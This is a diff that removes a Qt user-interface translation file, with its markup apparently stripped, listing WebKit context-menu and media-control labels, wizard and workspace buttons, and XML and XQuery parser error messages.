    -        
    -        
    -            Cannot show URL
    -            Cannot show URL
    -        
    -        
    -            Frame load interrupted by policy change
    -            Frame load interrupted by policy change
    -        
    -        
    -            Cannot show mimetype
    -            Cannot show mimetype
    -        
    -        
    -            File does not exist
    -            File does not exist
    -        
    -    
    -    
    -        QWebPage
    -        
    -            Submit
    -            default label for Submit buttons in forms on web pages
    -            Submit
    -        
    -        
    -            Submit
    -            Submit (input element) alt text for <input> elements with no alt, title, or value
    -            Submit
    -        
    -        
    -            Reset
    -            default label for Reset buttons in forms on web pages
    -            Reset
    -        
    -        
    -            Choose File
    -            title for file button used in HTML forms
    -            Choose File
    -        
    -        
    -            No file selected
    -            text to display in file button used in HTML forms when no file is selected
    -            No file selected
    -        
    -        
    -            Open in New Window
    -            Open in New Window context menu item
    -            Open in New Window
    -        
    -        
    -            Save Link...
    -            Download Linked File context menu item
    -            Save Link...
    -        
    -        
    -            Copy Link
    -            Copy Link context menu item
    -            Copy Link
    -        
    -        
    -            Open Image
    -            Open Image in New Window context menu item
    -            Open Image
    -        
    -        
    -            Save Image
    -            Download Image context menu item
    -            Save Image
    -        
    -        
    -            Copy Image
    -            Copy Link context menu item
    -            Copy Image
    -        
    -        
    -            Open Frame
    -            Open Frame in New Window context menu item
    -            Open Frame
    -        
    -        
    -            Copy
    -            Copy context menu item
    -            Copy
    -        
    -        
    -            Go Back
    -            Back context menu item
    -            Go Back
    -        
    -        
    -            Go Forward
    -            Forward context menu item
    -            Go Forward
    -        
    -        
    -            Stop
    -            Stop context menu item
    -            Stop
    -        
    -        
    -            Reload
    -            Reload context menu item
    -            Reload
    -        
    -        
    -            Cut
    -            Cut context menu item
    -            Cut
    -        
    -        
    -            Paste
    -            Paste context menu item
    -            Paste
    -        
    -        
    -            No Guesses Found
    -            No Guesses Found context menu item
    -            No Guesses Found
    -        
    -        
    -            Ignore
    -            Ignore Spelling context menu item
    -            Ignore
    -        
    -        
    -            Add To Dictionary
    -            Learn Spelling context menu item
    -            Add To Dictionary
    -        
    -        
    -            Search The Web
    -            Search The Web context menu item
    -            Search The Web
    -        
    -        
    -            Look Up In Dictionary
    -            Look Up in Dictionary context menu item
    -            Look Up In Dictionary
    -        
    -        
    -            Open Link
    -            Open Link context menu item
    -            Open Link
    -        
    -        
    -            Ignore
    -            Ignore Grammar context menu item
    -            Ignore
    -        
    -        
    -            Spelling
    -            Spelling and Grammar context sub-menu item
    -            Spelling
    -        
    -        
    -            Show Spelling and Grammar
    -            menu item title
    -            Show Spelling and Grammar
    -        
    -        
    -            Hide Spelling and Grammar
    -            menu item title
    -            Hide Spelling and Grammar
    -        
    -        
    -            Check Spelling
    -            Check spelling context menu item
    -            Check Spelling
    -        
    -        
    -            Check Spelling While Typing
    -            Check spelling while typing context menu item
    -            Check Spelling While Typing
    -        
    -        
    -            Check Grammar With Spelling
    -            Check grammar with spelling context menu item
    -            Check Grammar With Spelling
    -        
    -        
    -            Fonts
    -            Font context sub-menu item
    -            Fonts
    -        
    -        
    -            Bold
    -            Bold context menu item
    -            Bold
    -        
    -        
    -            Italic
    -            Italic context menu item
    -            Italic
    -        
    -        
    -            Underline
    -            Underline context menu item
    -            Underline
    -        
    -        
    -            Outline
    -            Outline context menu item
    -            Outline
    -        
    -        
    -            Direction
    -            Writing direction context sub-menu item
    -            Direction
    -        
    -        
    -            Text Direction
    -            Text direction context sub-menu item
    -            Text Direction
    -        
    -        
    -            Default
    -            Default writing direction context menu item
    -            Default
    -        
    -        
    -            Left to Right
    -            Left to Right context menu item
    -            Left to Right
    -        
    -        
    -            Right to Left
    -            Right to Left context menu item
    -            Right to Left
    -        
    -        
    -            Loading...
    -            Media controller status message when the media is loading
    -            Loading...
    -        
    -        
    -            Live Broadcast
    -            Media controller status message when watching a live broadcast
    -            Live Broadcast
    -        
    -        
    -            Audio Element
    -            Media controller element
    -            Audio Element
    -        
    -        
    -            Video Element
    -            Media controller element
    -            Video Element
    -        
    -        
    -            Mute Button
    -            Media controller element
    -            Mute Button
    -        
    -        
    -            Unmute Button
    -            Media controller element
    -            Unmute Button
    -        
    -        
    -            Play Button
    -            Media controller element
    -            Play Button
    -        
    -        
    -            Pause Button
    -            Media controller element
    -            Pause Button
    -        
    -        
    -            Slider
    -            Media controller element
    -            Slider
    -        
    -        
    -            Slider Thumb
    -            Media controller element
    -            Slider Thumb
    -        
    -        
    -            Rewind Button
    -            Media controller element
    -            Rewind Button
    -        
    -        
    -            Return to Real-time Button
    -            Media controller element
    -            Return to Real-time Button
    -        
    -        
    -            Elapsed Time
    -            Media controller element
    -            Elapsed Time
    -        
    -        
    -            Remaining Time
    -            Media controller element
    -            Remaining Time
    -        
    -        
    -            Status Display
    -            Media controller element
    -            Status Display
    -        
    -        
    -            Fullscreen Button
    -            Media controller element
    -            Fullscreen Button
    -        
    -        
    -            Seek Forward Button
    -            Media controller element
    -            Seek Forward Button
    -        
    -        
    -            Seek Back Button
    -            Media controller element
    -            Seek Back Button
    -        
    -        
    -            Audio element playback controls and status display
    -            Media controller element
    -            Audio element playback controls and status display
    -        
    -        
    -            Video element playback controls and status display
    -            Media controller element
    -            Video element playback controls and status display
    -        
    -        
    -            Mute audio tracks
    -            Media controller element
    -            Mute audio tracks
    -        
    -        
    -            Unmute audio tracks
    -            Media controller element
    -            Unmute audio tracks
    -        
    -        
    -            Begin playback
    -            Media controller element
    -            Begin playback
    -        
    -        
    -            Pause playback
    -            Media controller element
    -            Pause playback
    -        
    -        
    -            Movie time scrubber
    -            Media controller element
    -            Movie time scrubber
    -        
    -        
    -            Movie time scrubber thumb
    -            Media controller element
    -            Movie time scrubber thumb
    -        
    -        
    -            Rewind movie
    -            Media controller element
    -            Rewind movie
    -        
    -        
    -            Return streaming movie to real-time
    -            Media controller element
    -            Return streaming movie to real-time
    -        
    -        
    -            Current movie time
    -            Media controller element
    -            Current movie time
    -        
    -        
    -            Remaining movie time
    -            Media controller element
    -            Remaining movie time
    -        
    -        
    -            Current movie status
    -            Media controller element
    -            Current movie status
    -        
    -        
    -            Play movie in full-screen mode
    -            Media controller element
    -            Play movie in full-screen mode
    -        
    -        
    -            Seek quickly back
    -            Media controller element
    -            Seek quickly back
    -        
    -        
    -            Seek quickly forward
    -            Media controller element
    -            Seek quickly forward
    -        
    -        
    -            Indefinite time
    -            Media time description
    -            Indefinite time
    -        
    -        
    -            %1 days %2 hours %3 minutes %4 seconds
    -            Media time description
    -            %1 days %2 hours %3 minutes %4 seconds
    -        
    -        
    -            %1 hours %2 minutes %3 seconds
    -            Media time description
    -            %1 hours %2 minutes %3 seconds
    -        
    -        
    -            %1 minutes %2 seconds
    -            Media time description
    -            %1 minutes %2 seconds
    -        
    -        
    -            %1 seconds
    -            Media time description
    -            %1 seconds
    -        
    -        
    -            Inspect
    -            Inspect Element context menu item
    -            Inspect
    -        
    -        
    -            No recent searches
    -            Label for only item in menu that appears when clicking on the search field image, when no searches have been performed
    -            No recent searches
    -        
    -        
    -            Recent searches
    -            label for first item in the menu that appears when clicking on the search field image, used as embedded menu title
    -            Recent searches
    -        
    -        
    -            Clear recent searches
    -            menu item in Recent Searches menu that empties menu's contents
    -            Clear recent searches
    -        
    -        
    -            Unknown
    -            Unknown filesize FTP directory listing item
    -            Unknown
    -        
    -        
    -            Web Inspector - %2
    -            Web Inspector - %2
    -        
    -        
    -            %1 (%2x%3 pixels)
    -            Title string for images
    -            %1 (%2x%3 pixels)
    -        
    -        
    -            Bad HTTP request
    -            Bad HTTP request
    -        
    -        
    -            This is a searchable index. Enter search keywords: 
    -            text that appears at the start of nearly-obsolete web pages in the form of a 'searchable index'
    -            This is a searchable index. Enter search keywords: 
    -        
    -        
    -            Scroll here
    -            Scroll here
    -        
    -        
    -            Left edge
    -            Left edge
    -        
    -        
    -            Top
    -            Top
    -        
    -        
    -            Right edge
    -            Right edge
    -        
    -        
    -            Bottom
    -            Bottom
    -        
    -        
    -            Page left
    -            Page left
    -        
    -        
    -            Page up
    -            Page up
    -        
    -        
    -            Page right
    -            Page right
    -        
    -        
    -            Page down
    -            Page down
    -        
    -        
    -            Scroll left
    -            Scroll left
    -        
    -        
    -            Scroll up
    -            Scroll up
    -        
    -        
    -            Scroll right
    -            Scroll right
    -        
    -        
    -            Scroll down
    -            Scroll down
    -        
    -        
    -            %n file(s)
    -            number of chosen file
    -            
    -                %n file(s)
    -                %n file(s)
    -            
    -        
    -        
    -            JavaScript Alert - %1
    -            JavaScript Alert - %1
    -        
    -        
    -            JavaScript Confirm - %1
    -            JavaScript Confirm - %1
    -        
    -        
    -            JavaScript Prompt - %1
    -            JavaScript Prompt - %1
    -        
    -        
    -            JavaScript Problem - %1
    -            JavaScript Problem - %1
    -        
    -        
    -            The script on this page appears to have a problem. Do you want to stop the script?
    -            The script on this page appears to have a problem. Do you want to stop the script?
    -        
    -        
    -            Move the cursor to the next character
    -            Move the cursor to the next character
    -        
    -        
    -            Move the cursor to the previous character
    -            Move the cursor to the previous character
    -        
    -        
    -            Move the cursor to the next word
    -            Move the cursor to the next word
    -        
    -        
    -            Move the cursor to the previous word
    -            Move the cursor to the previous word
    -        
    -        
    -            Move the cursor to the next line
    -            Move the cursor to the next line
    -        
    -        
    -            Move the cursor to the previous line
    -            Move the cursor to the previous line
    -        
    -        
    -            Move the cursor to the start of the line
    -            Move the cursor to the start of the line
    -        
    -        
    -            Move the cursor to the end of the line
    -            Move the cursor to the end of the line
    -        
    -        
    -            Move the cursor to the start of the block
    -            Move the cursor to the start of the block
    -        
    -        
    -            Move the cursor to the end of the block
    -            Move the cursor to the end of the block
    -        
    -        
    -            Move the cursor to the start of the document
    -            Move the cursor to the start of the document
    -        
    -        
    -            Move the cursor to the end of the document
    -            Move the cursor to the end of the document
    -        
    -        
    -            Select all
    -            Select all
    -        
    -        
    -            Select to the next character
    -            Select to the next character
    -        
    -        
    -            Select to the previous character
    -            Select to the previous character
    -        
    -        
    -            Select to the next word
    -            Select to the next word
    -        
    -        
    -            Select to the previous word
    -            Select to the previous word
    -        
    -        
    -            Select to the next line
    -            Select to the next line
    -        
    -        
    -            Select to the previous line
    -            Select to the previous line
    -        
    -        
    -            Select to the start of the line
    -            Select to the start of the line
    -        
    -        
    -            Select to the end of the line
    -            Select to the end of the line
    -        
    -        
    -            Select to the start of the block
    -            Select to the start of the block
    -        
    -        
    -            Select to the end of the block
    -            Select to the end of the block
    -        
    -        
    -            Select to the start of the document
    -            Select to the start of the document
    -        
    -        
    -            Select to the end of the document
    -            Select to the end of the document
    -        
    -        
    -            Delete to the start of the word
    -            Delete to the start of the word
    -        
    -        
    -            Delete to the end of the word
    -            Delete to the end of the word
    -        
    -        
    -            Insert a new paragraph
    -            Insert a new paragraph
    -        
    -        
    -            Insert a new line
    -            Insert a new line
    -        
    -        
    -            Paste and Match Style
    -            Paste and Match Style
    -        
    -        
    -            Remove formatting
    -            Remove formatting
    -        
    -        
    -            Strikethrough
    -            Strikethrough
    -        
    -        
    -            Subscript
    -            Subscript
    -        
    -        
    -            Superscript
    -            Superscript
    -        
    -        
    -            Insert Bulleted List
    -            Insert Bulleted List
    -        
    -        
    -            Insert Numbered List
    -            Insert Numbered List
    -        
    -        
    -            Indent
    -            Indent
    -        
    -        
    -            Outdent
    -            Outdent
    -        
    -        
    -            Center
    -            Center
    -        
    -        
    -            Justify
    -            Justify
    -        
    -        
    -            Align Left
    -            Align Left
    -        
    -        
    -            Align Right
    -            Align Right
    -        
    -    
    -    
    -        QWhatsThisAction
    -        
    -            What's This?
    -            What's This?
    -        
    -    
    -    
    -        QWidget
    -        
    -            *
    -            *
    -        
    -    
    -    
    -        QWizard
    -        
    -            Cancel
    -            Cancel
    -        
    -        
    -            Help
    -            Help
    -        
    -        
    -            < &Back
    -            < &Back
    -        
    -        
    -            &Finish
    -            &Finish
    -        
    -        
    -            &Help
    -            &Help
    -        
    -        
    -            Go Back
    -            Go Back
    -        
    -        
    -            Continue
    -            Continue
    -        
    -        
    -            Commit
    -            Commit
    -        
    -        
    -            Done
    -            Done
    -        
    -        
    -            &Next
    -            &Next
    -        
    -        
    -            &Next >
    -            &Next >
    -        
    -    
    -    
    -        QWorkspace
    -        
    -            &Restore
    -            &Restore
    -        
    -        
    -            &Move
    -            &Move
    -        
    -        
    -            &Size
    -            &Size
    -        
    -        
    -            Mi&nimize
    -            Mi&nimize
    -        
    -        
    -            Ma&ximize
    -            Ma&ximize
    -        
    -        
    -            &Close
    -            &Close
    -        
    -        
    -            Stay on &Top
    -            Stay on &Top
    -        
    -        
    -            Minimize
    -            Minimize
    -        
    -        
    -            Restore Down
    -            Restore Down
    -        
    -        
    -            Close
    -            Close
    -        
    -        
    -            Sh&ade
    -            Sh&ade
    -        
    -        
    -            %1 - [%2]
    -            %1 - [%2]
    -        
    -        
    -            &Unshade
    -            &Unshade
    -        
    -    
    -    
    -        QXml
    -        
    -            no error occurred
    -            no error occurred
    -        
    -        
    -            error triggered by consumer
    -            error triggered by consumer
    -        
    -        
    -            unexpected end of file
    -            unexpected end of file
    -        
    -        
    -            more than one document type definition
    -            more than one document type definition
    -        
    -        
    -            error occurred while parsing element
    -            error occurred while parsing element
    -        
    -        
    -            tag mismatch
    -            tag mismatch
    -        
    -        
    -            error occurred while parsing content
    -            error occurred while parsing content
    -        
    -        
    -            unexpected character
    -            unexpected character
    -        
    -        
    -            invalid name for processing instruction
    -            invalid name for processing instruction
    -        
    -        
    -            version expected while reading the XML declaration
    -            version expected while reading the XML declaration
    -        
    -        
    -            wrong value for standalone declaration
    -            wrong value for standalone declaration
    -        
    -        
    -            error occurred while parsing document type definition
    -            error occurred while parsing document type definition
    -        
    -        
    -            letter is expected
    -            letter is expected
    -        
    -        
    -            error occurred while parsing comment
    -            error occurred while parsing comment
    -        
    -        
    -            error occurred while parsing reference
    -            error occurred while parsing reference
    -        
    -        
    -            internal general entity reference not allowed in DTD
    -            internal general entity reference not allowed in DTD
    -        
    -        
    -            external parsed general entity reference not allowed in attribute value
    -            external parsed general entity reference not allowed in attribute value
    -        
    -        
    -            external parsed general entity reference not allowed in DTD
    -            external parsed general entity reference not allowed in DTD
    -        
    -        
    -            unparsed entity reference in wrong context
    -            unparsed entity reference in wrong context
    -        
    -        
    -            recursive entities
    -            recursive entities
    -        
    -        
    -            error in the text declaration of an external entity
    -            error in the text declaration of an external entity
    -        
    -        
    -            encoding declaration or standalone declaration expected while reading the XML declaration
    -            encoding declaration or standalone declaration expected while reading the XML declaration
    -        
    -        
    -            standalone declaration expected while reading the XML declaration
    -            standalone declaration expected while reading the XML declaration
    -        
    -    
    -    
    -        QXmlPatternistCLI
    -        
    -            Warning in %1, at line %2, column %3: %4
    -            Warning in %1, at line %2, column %3: %4
    -        
    -        
    -            Warning in %1: %2
    -            Warning in %1: %2
    -        
    -        
    -            Unknown location
    -            Unknown location
    -        
    -        
    -            Error %1 in %2, at line %3, column %4: %5
    -            Error %1 in %2, at line %3, column %4: %5
    -        
    -        
    -            Error %1 in %2: %3
    -            Error %1 in %2: %3
    -        
    -    
    -    
    -        QXmlStream
    -        
    -            Extra content at end of document.
    -            Extra content at end of document.
    -        
    -        
    -            Invalid entity value.
    -            Invalid entity value.
    -        
    -        
    -            Invalid XML character.
    -            Invalid XML character.
    -        
    -        
    -            Sequence ']]>' not allowed in content.
    -            Sequence ']]>' not allowed in content.
    -        
    -        
    -            Namespace prefix '%1' not declared
    -            Namespace prefix '%1' not declared
    -        
    -        
    -            Attribute redefined.
    -            Attribute redefined.
    -        
    -        
    -            Unexpected character '%1' in public id literal.
    -            Unexpected character '%1' in public id literal.
    -        
    -        
    -            Invalid XML version string.
    -            Invalid XML version string.
    -        
    -        
    -            Unsupported XML version.
    -            Unsupported XML version.
    -        
    -        
    -            %1 is an invalid encoding name.
    -            %1 is an invalid encoding name.
    -        
    -        
    -            Encoding %1 is unsupported
    -            Encoding %1 is unsupported
    -        
    -        
    -            Standalone accepts only yes or no.
    -            Standalone accepts only yes or no.
    -        
    -        
    -            Invalid attribute in XML declaration.
    -            Invalid attribute in XML declaration.
    -        
    -        
    -            Premature end of document.
    -            Premature end of document.
    -        
    -        
    -            Invalid document.
    -            Invalid document.
    -        
    -        
    -            Expected 
    -            Expected 
    -        
    -        
    -            , but got '
    -            , but got '
    -        
    -        
    -            Unexpected '
    -            Unexpected '
    -        
    -        
    -            Expected character data.
    -            Expected character data.
    -        
    -        
    -            Recursive entity detected.
    -            Recursive entity detected.
    -        
    -        
    -            Start tag expected.
    -            Start tag expected.
    -        
    -        
    -            XML declaration not at start of document.
    -            XML declaration not at start of document.
    -        
    -        
    -            NDATA in parameter entity declaration.
    -            NDATA in parameter entity declaration.
    -        
    -        
    -            %1 is an invalid processing instruction name.
    -            %1 is an invalid processing instruction name.
    -        
    -        
    -            Invalid processing instruction name.
    -            Invalid processing instruction name.
    -        
    -        
    -            Illegal namespace declaration.
    -            Illegal namespace declaration.
    -        
    -        
    -            Invalid XML name.
    -            Invalid XML name.
    -        
    -        
    -            Opening and ending tag mismatch.
    -            Opening and ending tag mismatch.
    -        
    -        
    -            Reference to unparsed entity '%1'.
    -            Reference to unparsed entity '%1'.
    -        
    -        
    -            Entity '%1' not declared.
    -            Entity '%1' not declared.
    -        
    -        
    -            Reference to external entity '%1' in attribute value.
    -            Reference to external entity '%1' in attribute value.
    -        
    -        
    -            Invalid character reference.
    -            Invalid character reference.
    -        
    -        
    -            Encountered incorrectly encoded content.
    -            Encountered incorrectly encoded content.
    -        
    -        
    -            The standalone pseudo attribute must appear after the encoding.
    -            The standalone pseudo attribute must appear after the encoding.
    -        
    -        
    -            %1 is an invalid PUBLIC identifier.
    -            %1 is an invalid PUBLIC identifier.
    -        
    -    
    -    
    -        QtXmlPatterns
    -        
    -            At least one component must be present.
    -            At least one component must be present.
    -        
    -        
    -            %1 is not a valid value of type %2.
    -            %1 is not a valid value of type %2.
    -        
    -        
    -            When casting to %1 from %2, the source value cannot be %3.
    -            When casting to %1 from %2, the source value cannot be %3.
    -        
    -        
    -            Effective Boolean Value cannot be calculated for a sequence containing two or more atomic values.
    -            Effective Boolean Value cannot be calculated for a sequence containing two or more atomic values.
    -        
    -        
    -            The data of a processing instruction cannot contain the string %1
    -            The data of a processing instruction cannot contain the string %1
    -        
    -        
    -            %1 is an invalid %2
    -            %1 is an invalid %2
    -        
    -        
    -            %1 is not a valid XML 1.0 character.
    -            %1 is not a valid XML 1.0 character.
    -        
    -        
    -            %1 was called.
    -            %1 was called.
    -        
    -        
    -            In the replacement string, %1 must be followed by at least one digit when not escaped.
    -            In the replacement string, %1 must be followed by at least one digit when not escaped.
    -        
    -        
    -            In the replacement string, %1 can only be used to escape itself or %2, not %3
    -            In the replacement string, %1 can only be used to escape itself or %2, not %3
    -        
    -        
    -            %1 matches newline characters
    -            %1 matches newline characters
    -        
    -        
    -            Matches are case insensitive
    -            Matches are case insensitive
    -        
    -        
    -            %1 is an invalid regular expression pattern: %2
    -            %1 is an invalid regular expression pattern: %2
    -        
    -        
    -            It will not be possible to retrieve %1.
    -            It will not be possible to retrieve %1.
    -        
    -        
    -            The default collection is undefined
    -            The default collection is undefined
    -        
    -        
    -            %1 cannot be retrieved
    -            %1 cannot be retrieved
    -        
    -        
    -            The item %1 did not match the required type %2.
    -            The item %1 did not match the required type %2.
    -        
    -        
    -            %1 is an unknown schema type.
    -            %1 is an unknown schema type.
    -        
    -        
    -            A template with name %1 has already been declared.
    -            A template with name %1 has already been declared.
    -        
    -        
    -            Only one %1 declaration can occur in the query prolog.
    -            Only one %1 declaration can occur in the query prolog.
    -        
    -        
    -            The initialization of variable %1 depends on itself
    -            The initialization of variable %1 depends on itself
    -        
    -        
    -            The variable %1 is unused
    -            The variable %1 is unused
    -        
    -        
    -            Version %1 is not supported. The supported XQuery version is 1.0.
    -            Version %1 is not supported. The supported XQuery version is 1.0.
    -        
    -        
    -            No function with signature %1 is available
    -            No function with signature %1 is available
    -        
    -        
    -            It is not possible to redeclare prefix %1.
    -            It is not possible to redeclare prefix %1.
    -        
    -        
    -            Prefix %1 is already declared in the prolog.
    -            Prefix %1 is already declared in the prolog.
    -        
    -        
    -            The name of an option must have a prefix. There is no default namespace for options.
    -            The name of an option must have a prefix. There is no default namespace for options.
    -        
    -        
    -            The Schema Import feature is not supported, and therefore %1 declarations cannot occur.
    -            The Schema Import feature is not supported, and therefore %1 declarations cannot occur.
    -        
    -        
    -            The target namespace of a %1 cannot be empty.
    -            The target namespace of a %1 cannot be empty.
    -        
    -        
    -            The module import feature is not supported
    -            The module import feature is not supported
    -        
    -        
    -            The namespace of a user defined function in a library module must be equivalent to the module namespace. In other words, it should be %1 instead of %2
    -            The namespace of a user defined function in a library module must be equivalent to the module namespace. In other words, it should be %1 instead of %2
    -        
    -        
    -            A function already exists with the signature %1.
    -            A function already exists with the signature %1.
    -        
    -        
    -            No external functions are supported. All supported functions can be used directly, without first declaring them as external
    -            No external functions are supported. All supported functions can be used directly, without first declaring them as external
    -        
    -        
    -            The %1-axis is unsupported in XQuery
    -            The %1-axis is unsupported in XQuery
    -        
    -        
    -            The namespace URI cannot be the empty string when binding to a prefix, %1.
    -            The namespace URI cannot be the empty string when binding to a prefix, %1.
    -        
    -        
    -            %1 is an invalid namespace URI.
    -            %1 is an invalid namespace URI.
    -        
    -        
    -            It is not possible to bind to the prefix %1
    -            It is not possible to bind to the prefix %1
    -        
    -        
    -            Two namespace declaration attributes have the same name: %1.
    -            Two namespace declaration attributes have the same name: %1.
    -        
    -        
    -            The namespace URI must be a constant and cannot use enclosed expressions.
    -            The namespace URI must be a constant and cannot use enclosed expressions.
    -        
    -        
    -            %1 is not in the in-scope attribute declarations. Note that the schema import feature is not supported.
    -            %1 is not in the in-scope attribute declarations. Note that the schema import feature is not supported.
    -        
    -        
    -            empty
    -            empty
    -        
    -        
    -            zero or one
    -            zero or one
    -        
    -        
    -            exactly one
    -            exactly one
    -        
    -        
    -            one or more
    -            one or more
    -        
    -        
    -            zero or more
    -            zero or more
    -        
    -        
    -            The focus is undefined.
    -            The focus is undefined.
    -        
    -        
    -            An attribute by name %1 has already been created.
    -            An attribute by name %1 has already been created.
    -        
    -        
    -            Network timeout.
    -            Network timeout.
    -        
    -        
    -            Element %1 can't be serialized because it appears outside the document element.
    -            Element %1 can't be serialized because it appears outside the document element.
    -        
    -        
    -            Year %1 is invalid because it begins with %2.
    -            Year %1 is invalid because it begins with %2.
    -        
    -        
    -            Day %1 is outside the range %2..%3.
    -            Day %1 is outside the range %2..%3.
    -        
    -        
    -            Month %1 is outside the range %2..%3.
    -            Month %1 is outside the range %2..%3.
    -        
    -        
    -            Overflow: Can't represent date %1.
    -            Overflow: Can't represent date %1.
    -        
    -        
    -            Day %1 is invalid for month %2.
    -            Day %1 is invalid for month %2.
    -        
    -        
    -            Time 24:%1:%2.%3 is invalid. Hour is 24, but minutes, seconds, and milliseconds are not all 0; 
    -            Time 24:%1:%2.%3 is invalid. Hour is 24, but minutes, seconds, and milliseconds are not all 0; 
    -        
    -        
    -            Time %1:%2:%3.%4 is invalid.
    -            Time %1:%2:%3.%4 is invalid.
    -        
    -        
    -            Overflow: Date can't be represented.
    -            Overflow: Date can't be represented.
    -        
    -        
    -            At least one time component must appear after the %1-delimiter.
    -            At least one time component must appear after the %1-delimiter.
    -        
    -        
    -            Dividing a value of type %1 by %2 (not-a-number) is not allowed.
    -            Dividing a value of type %1 by %2 (not-a-number) is not allowed.
    -        
    -        
    -            Dividing a value of type %1 by %2 or %3 (plus or minus zero) is not allowed.
    -            Dividing a value of type %1 by %2 or %3 (plus or minus zero) is not allowed.
    -        
    -        
    -            Multiplication of a value of type %1 by %2 or %3 (plus or minus infinity) is not allowed.
    -            Multiplication of a value of type %1 by %2 or %3 (plus or minus infinity) is not allowed.
    -        
    -        
    -            A value of type %1 cannot have an Effective Boolean Value.
    -            A value of type %1 cannot have an Effective Boolean Value.
    -        
    -        
    -            Value %1 of type %2 exceeds maximum (%3).
    -            Value %1 of type %2 exceeds maximum (%3).
    -        
    -        
    -            Value %1 of type %2 is below minimum (%3).
    -            Value %1 of type %2 is below minimum (%3).
    -        
    -        
    -            A value of type %1 must contain an even number of digits. The value %2 does not.
    -            A value of type %1 must contain an even number of digits. The value %2 does not.
    -        
    -        
    -            %1 is not valid as a value of type %2.
    -            %1 is not valid as a value of type %2.
    -        
    -        
    -            Operator %1 cannot be used on type %2.
    -            Operator %1 cannot be used on type %2.
    -        
    -        
    -            Operator %1 cannot be used on atomic values of type %2 and %3.
    -            Operator %1 cannot be used on atomic values of type %2 and %3.
    -        
    -        
    -            The namespace URI in the name for a computed attribute cannot be %1.
    -            The namespace URI in the name for a computed attribute cannot be %1.
    -        
    -        
    -            The name for a computed attribute cannot have the namespace URI %1 with the local name %2.
    -            The name for a computed attribute cannot have the namespace URI %1 with the local name %2.
    -        
    -        
    -            Type error in cast, expected %1, received %2.
    -            Type error in cast, expected %1, received %2.
    -        
    -        
    -            When casting to %1 or types derived from it, the source value must be of the same type, or it must be a string literal. Type %2 is not allowed.
    -            When casting to %1 or types derived from it, the source value must be of the same type, or it must be a string literal. Type %2 is not allowed.
    -        
    -        
    -            A comment cannot contain %1
    -            A comment cannot contain %1
    -        
    -        
    -            A comment cannot end with a %1.
    -            A comment cannot end with a %1.
    -        
    -        
    -            An attribute node cannot be a child of a document node. Therefore, the attribute %1 is out of place.
    -            An attribute node cannot be a child of a document node. Therefore, the attribute %1 is out of place.
    -        
    -        
    -            A library module cannot be evaluated directly. It must be imported from a main module.
    -            A library module cannot be evaluated directly. It must be imported from a main module.
    -        
    -        
    -            No template by name %1 exists.
    -            No template by name %1 exists.
    -        
    -        
    -            A value of type %1 cannot be a predicate. A predicate must have either a numeric type or an Effective Boolean Value type.
    -            A value of type %1 cannot be a predicate. A predicate must have either a numeric type or an Effective Boolean Value type.
    -        
    -        
    -            A positional predicate must evaluate to a single numeric value.
    -            A positional predicate must evaluate to a single numeric value.
    -        
    -        
    -            The target name in a processing instruction cannot be %1 in any combination of upper and lower case. Therefore, %2 is invalid.
    -            The target name in a processing instruction cannot be %1 in any combination of upper and lower case. Therefore, %2 is invalid.
    -        
    -        
    -            %1 is not a valid target name in a processing instruction. It must be a %2 value, e.g. %3.
    -            %1 is not a valid target name in a processing instruction. It must be a %2 value, e.g. %3.
    -        
    -        
    -            The last step in a path must contain either nodes or atomic values. It cannot be a mixture between the two.
    -            The last step in a path must contain either nodes or atomic values. It cannot be a mixture between the two.
    -        
    -        
    -            No namespace binding exists for the prefix %1
    -            No namespace binding exists for the prefix %1
    -        
    -        
    -            No namespace binding exists for the prefix %1 in %2
    -            No namespace binding exists for the prefix %1 in %2
    -        
    -        
    -            The first argument to %1 cannot be of type %2. It must be a numeric type, xs:yearMonthDuration or xs:dayTimeDuration.
    -            The first argument to %1 cannot be of type %2. It must be a numeric type, xs:yearMonthDuration or xs:dayTimeDuration.
    -        
    -        
    -            The first argument to %1 cannot be of type %2. It must be of type %3, %4, or %5.
    -            The first argument to %1 cannot be of type %2. It must be of type %3, %4, or %5.
    -        
    -        
    -            The second argument to %1 cannot be of type %2. It must be of type %3, %4, or %5.
    -            The second argument to %1 cannot be of type %2. It must be of type %3, %4, or %5.
    -        
    -        
    -            If both values have zone offsets, they must have the same zone offset. %1 and %2 are not the same.
    -            If both values have zone offsets, they must have the same zone offset. %1 and %2 are not the same.
    -        
    -        
    -            %1 must be followed by %2 or %3, not at the end of the replacement string.
    -            %1 must be followed by %2 or %3, not at the end of the replacement string.
    -        
    -        
    -            %1 and %2 match the start and end of a line.
    -            %1 and %2 match the start and end of a line.
    -        
    -        
    -            Whitespace characters are removed, except when they appear in character classes
    -            Whitespace characters are removed, except when they appear in character classes
    -        
    -        
    -            %1 is an invalid flag for regular expressions. Valid flags are:
    -            %1 is an invalid flag for regular expressions. Valid flags are:
    -        
    -        
    -            If the first argument is the empty sequence or a zero-length string (no namespace), a prefix cannot be specified. Prefix %1 was specified.
    -            If the first argument is the empty sequence or a zero-length string (no namespace), a prefix cannot be specified. Prefix %1 was specified.
    -        
    -        
    -            The normalization form %1 is unsupported. The supported forms are %2, %3, %4, and %5, and none, i.e. the empty string (no normalization).
    -            The normalization form %1 is unsupported. The supported forms are %2, %3, %4, and %5, and none, i.e. the empty string (no normalization).
    -        
    -        
    -            A zone offset must be in the range %1..%2 inclusive. %3 is out of range.
    -            A zone offset must be in the range %1..%2 inclusive. %3 is out of range.
    -        
    -        
    -            Required cardinality is %1; got cardinality %2.
    -            Required cardinality is %1; got cardinality %2.
    -        
    -        
    -            The encoding %1 is invalid. It must contain Latin characters only, must not contain whitespace, and must match the regular expression %2.
    -            The encoding %1 is invalid. It must contain Latin characters only, must not contain whitespace, and must match the regular expression %2.
    -        
    -        
    -            The keyword %1 cannot occur with any other mode name.
    -            The keyword %1 cannot occur with any other mode name.
    -        
    -        
    -            No variable with name %1 exists
    -            No variable with name %1 exists
    -        
    -        
    -            The value of attribute %1 must be of type %2, which %3 isn't.
    -            The value of attribute %1 must be of type %2, which %3 isn't.
    -        
    -        
    -            The prefix %1 cannot be bound. By default, it is already bound to the namespace %2.
    -            The prefix %1 cannot be bound. By default, it is already bound to the namespace %2.
    -        
    -        
    -            A variable with name %1 has already been declared.
    -            A variable with name %1 has already been declared.
    -        
    -        
    -            No value is available for the external variable with name %1.
    -            No value is available for the external variable with name %1.
    -        
    -        
    -            A stylesheet function must have a prefixed name.
    -            A stylesheet function must have a prefixed name.
    -        
    -        
    -            The namespace %1 is reserved; therefore user defined functions may not use it. Try the predefined prefix %2, which exists for these cases.
    -            The namespace %1 is reserved; therefore user defined functions may not use it. Try the predefined prefix %2, which exists for these cases.
    -        
    -        
